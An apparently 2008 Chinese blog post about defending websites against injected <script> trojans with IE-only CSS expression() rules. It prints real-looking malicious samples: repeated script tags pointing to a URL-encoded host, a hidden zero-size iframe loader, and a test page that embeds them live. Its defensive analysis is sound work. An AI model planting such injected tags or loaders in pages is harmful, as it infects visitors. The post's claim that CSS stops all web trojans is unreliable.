二行代码解决全部网页木马


Posted in Javascript onMarch 28, 2008

 前不久一行代码解决iframe挂马(包含服务器端注入、客户端ARP注入等)》得到了很多朋友的认可,这确实是个避避风雨的好办法。可现在挂网马的方式真如我所料地改变了,现在流行挂<script>木马,汗了,看了几个网友的网站都被这样了——页面的顶部或底部加上了:

注意,以下地址含有木马,请不要轻易访问:

<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
汗死,一连插入了N个一样的<script>标记。偶的电脑什么补丁都打了,直接访问这个http://%76%63%63%64%2E%63%6E(或直接使用迅雷下载),额~ 现形了:

document.write("<div style='display:none'>")
document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>")
document.write("</div>")
又用迅雷下载http://a.158dm.com/b1.htm这个文件,一看,乱七八糟的JS编码,汗,不过找到了一个类似QQ号的数字,直接加加看,汗,然后是专业提供网马的组织,哎,什么世道。还收费蛮高滴呢!

...
var Kfqq, Qqs="[color=Magenta]784378237[/color]"; qwfgsg="LLLL\\XXXXXLD"; Kfqq = Qqs;
(...略)(下面还有N个统计的JS代码)
针对上面的情况,我也不能白白瞧着不管,想想办法吧,兄弟。喝了碗绿豆粥,糖放得蛮多的,好喝。办法想到了。稍微分析就得出了答案。大家来看看,<script>木马的特点是什么:

<script src=http://%76%63%63%64%2E%63%6E></script>

对了,script木马的src一般都是外域的,也就是src是以http打头的,如果是自己网站的script一般都不用加上http;再看看木马的原形,里面还是输出的iframe、JS代码或是其他<object>代码,不管这么多,来多少杀多少。

来跟我写CSS,一一搞定它们,我写了5种不同的方案,大家来测试一下哈:

解决方案1:

iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/  
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');} 
原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。

缺点:访客无法看到被感染了<script>木马的页面。

解决方案2:

iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}  
script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');} 

原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了
解决方案3:
iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}  
script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');} 

原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。

解决方案4:

iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}  
script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');} 

原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。

解决方案5:

iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}  
script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木马被成功隔离!'):''));} 

第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script> 

以下页面代码里含有一个木马地址,而且木马在页面里重复了6次,大家分别用我上面的不同方案测试一下,看看我的研究如何!(此测试有一定的危险性,请务必打好所有补丁再测试)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
<html xmlns="http://www.w3.org/1999/xhtml">  
<head>  
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
<title>让JS木马的进程迅速中止的CSS代码</title>  
<style type="text/css" id="LinrStudio">  
/*<![CDATA[*/  
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}  
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}  
/* 以后请在此关注最新木马处理方法:http://www.nihaoku.cn/ff/api.htm */  
/*]]>*/  
</style>  
</head>  
<body>  
<script type="text/javascript" src="1.js"></script>  
<script src=http://%76%63%63%64%2E%63%6E></script>  
<script src="http://%76%63%63%64%2E%63%6E" type="text/javascript"></script>  
<script src=http://%76%63%63%64%2E%63%6E></script>  
我是页面本身的1  
<script src=http://%76%63%63%64%2E%63%6E></script>  
我是页面本身的2  
<script src=http://%76%63%63%64%2E%63%6E></script>  
我是页面本身的3  
<script src=http://%76%63%63%64%2E%63%6E></script>  
</body>  
</html>  
其中1.js是自己本站的:

document.write("我是本站的JS文件");
document.write("<img src='http://www.baidu.com/images/logo.gif' />");
我的测试环境是:

Windows XP SP2 和windows Vista SP1
IE6/IE7/IE8
已全部打好补丁。

综上所述,所有目前的挂马方式全都破解了,用CSS就可以解决所有木马问题,访客不会再轻易地中毒了。

大家也要仔细研究一下,看看我的代码有什么BUG,有的话一定要拿出来讨论,好解决问题!或是各位有其他更好的办法可以拿出来讨论一下。

Javascript 相关文章推荐
return false,对阻止事件默认动作的一些测试代码
Nov 17 Javascript
js日历功能对象
Jan 12 Javascript
JS对HTML标签select的获取、添加、删除操作
Oct 17 Javascript
javascript loadScript异步加载脚本示例讲解
Nov 14 Javascript
jquery+正则实现统一的表单验证
Sep 20 Javascript
js如何判断输入字符串长度
Dec 16 Javascript
讲解JavaScript的Backbone.js框架的MVC结构设计理念
Feb 14 Javascript
Jquery ui datepicker设置日期范围,如只能隔3天【实现代码】
May 04 Javascript
jQuery-mobile事件监听与用法详解
Nov 23 Javascript
分享一个vue项目“脚手架”项目的实现步骤
May 26 Javascript
js中switch语句的学习笔记
Mar 25 Javascript
vue v-for出来的列表,点击某个li使得当前被点击的li字体变红操作
Jul 17 Javascript
通过 Dom 方法提高 innerHTML 性能
Mar 26 #Javascript
js用图作提交按钮或超连接
Mar 26 #Javascript
利用js对象弹出一个层
Mar 26 #Javascript
javascript YUI 读码日记之 YAHOO.util.Dom - Part.4
Mar 22 #Javascript
Javascript YUI 读码日记之 YAHOO.util.Dom - Part.3
Mar 22 #Javascript
Javascript YUI 读码日记之 YAHOO.util.Dom - Part.2 0
Mar 22 #Javascript
YUI 读码日记之 YAHOO.util.Dom - Part.1
Mar 22 #Javascript
You might like
PHP 基本语法格式
2009/12/15 PHP
php中sprintf与printf函数用法区别解析
2014/02/17 PHP
php防止sql注入之过滤分页参数实例
2014/11/03 PHP
php使用Jpgraph创建折线图效果示例
2017/02/15 PHP
PHP dirname简单使用代码实例
2020/11/13 PHP
iphone safari不支持position fixed的解决方法
2012/05/04 Javascript
jQuery+AJAX实现无刷新下拉加载更多
2015/07/03 Javascript
javascript中SetInterval与setTimeout的定时器用法
2015/08/24 Javascript
react-router JS 控制路由跳转实例
2017/06/15 Javascript
BootStrap实现文件上传并带有进度条效果
2017/09/11 Javascript
jQuery实现点击DIV同时点击CheckBox,并为DIV上背景色的实例
2017/12/18 jQuery
layui表格checkbox选择全选样式及功能的实例
2018/03/07 Javascript
Vue中使用vue-i18插件实现多语言切换功能
2018/04/25 Javascript
RequireJS用法简单示例
2018/08/20 Javascript
HTML+JavaScript实现扫雷小游戏
2019/09/30 Javascript
Python的Django框架中设置日期和字段可选的方法
2015/07/17 Python
老生常谈Python之装饰器、迭代器和生成器
2017/07/26 Python
python+selenium识别验证码并登录的示例代码
2017/12/21 Python
Python对多属性的重复数据去重实例
2018/04/18 Python
Python面向对象之继承和多态用法分析
2019/06/08 Python
python @propert装饰器使用方法原理解析
2019/12/25 Python
tensorflow使用freeze_graph.py将ckpt转为pb文件的方法
2020/04/22 Python
利用python如何实现猫捉老鼠小游戏
2020/12/04 Python
英国领先的葡萄酒专家:Majestic Wine
2017/05/30 全球购物
接口的多继承会带来哪些问题
2015/08/17 面试题
物流毕业生个人的自我评价
2014/02/13 职场文书
揭牌仪式策划方案
2014/05/28 职场文书
授权委托书公证
2014/09/14 职场文书
土木工程专业本科生求职信
2014/10/01 职场文书
工地材料员岗位职责
2015/04/11 职场文书
创业计划书之牛肉汤快餐店
2019/10/08 职场文书
PyQt5实现多张图片显示并滚动
2021/06/11 Python
详解非极大值抑制算法之Python实现
2021/06/28 Python
SQL Server作业失败:无法确定所有者是否有服务器访问权限的解决方法
2021/06/30 SQL Server
Javascript中async与await的捕捉错误详解
2022/03/03 Javascript
Python装饰器详细介绍
2022/03/25 Python